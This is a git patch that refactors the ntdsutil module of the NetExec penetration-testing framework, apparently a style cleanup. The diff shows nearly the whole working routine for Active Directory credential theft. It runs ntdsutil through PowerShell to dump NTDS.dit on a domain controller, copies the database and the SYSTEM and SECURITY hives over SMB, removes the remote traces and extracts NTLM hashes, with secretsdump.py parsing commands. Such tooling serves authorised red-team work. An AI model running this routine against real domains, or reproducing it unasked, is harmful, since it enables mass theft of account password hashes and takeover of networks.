From 3655cbff82cc735fedeaa16ad016eaaaacd1ef6e Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 22 Sep 2023 15:07:07 -0400 Subject: [PATCH] clean up ntdsutil module --- nxc/modules/ntdsutil.py | 71 ++++++++++++++++++++++------------------- 1 file changed, 38 insertions(+), 33 deletions(-) diff --git a/nxc/modules/ntdsutil.py b/nxc/modules/ntdsutil.py index 16fd9a15..2e8e6587 100644 --- a/nxc/modules/ntdsutil.py +++ b/nxc/modules/ntdsutil.py @@ -41,14 +41,14 @@ class NXCModule: self.no_delete = True def on_admin_login(self, context, connection): - command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location) - context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location)) + command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\"" + context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}") context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...") - context.log.debug("Executing command {}".format(command)) + context.log.debug(f"Executing command {command}") p = connection.execute(command, True) context.log.debug(p) if "success" in p: - context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location)) + context.log.success(f"NTDS.dit dumped to {self.tmp_dir}{self.dump_location}") else: context.log.fail("Error while dumping NTDS") return @@ -57,53 +57,56 @@ class NXCModule: os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True) os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True) - context.log.display("Copying NTDS dump to %s" % self.dir_result) + context.log.display(f"Copying NTDS dump to {self.dir_result}") + context.log.debug("Copy ntds.dit to host") with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file: try: connection.conn.getFile( self.share, - self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit", + f"{self.tmp_share}{self.dump_location}\\Active Directory\\ntds.dit", dump_file.write, ) context.log.debug("Copied ntds.dit file") except Exception as e: - context.log.fail("Error while get ntds.dit file: {}".format(e)) + context.log.fail(f"Error while get ntds.dit file: {e}") context.log.debug("Copy SYSTEM to host") with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file: try: connection.conn.getFile( self.share, - self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM", + f"{self.tmp_share}{self.dump_location}\\registry\\SYSTEM", dump_file.write, ) context.log.debug("Copied SYSTEM file") except Exception as e: - context.log.fail("Error while get SYSTEM file: {}".format(e)) + context.log.fail(f"Error while get SYSTEM file: {e}") context.log.debug("Copy SECURITY to host") with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file: try: connection.conn.getFile( self.share, - self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY", + f"{self.tmp_share}{self.dump_location}\\registry\\SECURITY", dump_file.write, ) context.log.debug("Copied SECURITY file") except Exception as e: - context.log.fail("Error while get SECURITY file: {}".format(e)) - context.log.display("NTDS dump copied to %s" % self.dir_result) - try: - command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location) - p = connection.execute(command, True) - context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location)) - except Exception as e: - context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e)) + context.log.fail(f"Error while get SECURITY file: {e}") - localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result) - bootKey = localOperations.getBootKey() - noLMHash = localOperations.checkNoLMHashPolicy() + context.log.display(f"NTDS dump copied to {self.dir_result}") + + try: + command = f"rmdir /s /q {self.tmp_dir}{self.dump_location}" + p = connection.execute(command, True) + context.log.success(f"Deleted {self.tmp_dir}{self.dump_location} remote dump directory") + except Exception as e: + context.log.fail(f"Error deleting {self.dump_location} remote directory on share {self.share}: {e}") + + local_operations = LocalOperations(f"{self.dir_result}/registry/SYSTEM") + boot_key = local_operations.getBootKey() + no_lm_hash = local_operations.checkNoLMHashPolicy() host_id = context.db.get_hosts(filter_term=connection.host)[0][0] @@ -131,7 +134,7 @@ class NXCModule: add_ntds_hash.added_to_db += 1 return raise - except: + except Exception: context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: context.log.debug("Dumped hash is a computer account, not adding to db") @@ -140,11 +143,11 @@ class NXCModule: add_ntds_hash.added_to_db = 0 NTDS = NTDSHashes( - "%s/Active Directory/ntds.dit" % self.dir_result, - bootKey, + f"{self.dir_result}/Active Directory/ntds.dit", + boot_key, isRemote=False, history=False, - noLMHash=noLMHash, + noLMHash=no_lm_hash, remoteOps=None, useVSSMethod=True, justNTLM=True, @@ -160,21 +163,23 @@ class NXCModule: context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() context.log.success( - "Dumped {} NTDS hashes to {} of which {} were added to the database".format( - highlight(add_ntds_hash.ntds_hashes), - connection.output_filename + ".ntds", - highlight(add_ntds_hash.added_to_db), - ) + f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds " + f"of which {highlight(add_ntds_hash.added_to_db)} were added to the database" ) + context.log.display("To extract only enabled accounts from the output file, run the following command: ") - context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds")) + context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1") except Exception as e: context.log.fail(e) NTDS.finish() if self.no_delete: - context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result) - context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result)) + context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:") + context.log.display( + f'secretsdump.py -system {self.dir_result}/registry/SYSTEM ' + f'-security {self.dir_result}/registry/SECURITY ' + f'-ntds "{self.dir_result}/Active Directory/ntds.dit" LOCAL' + ) else: shutil.rmtree(self.dir_result)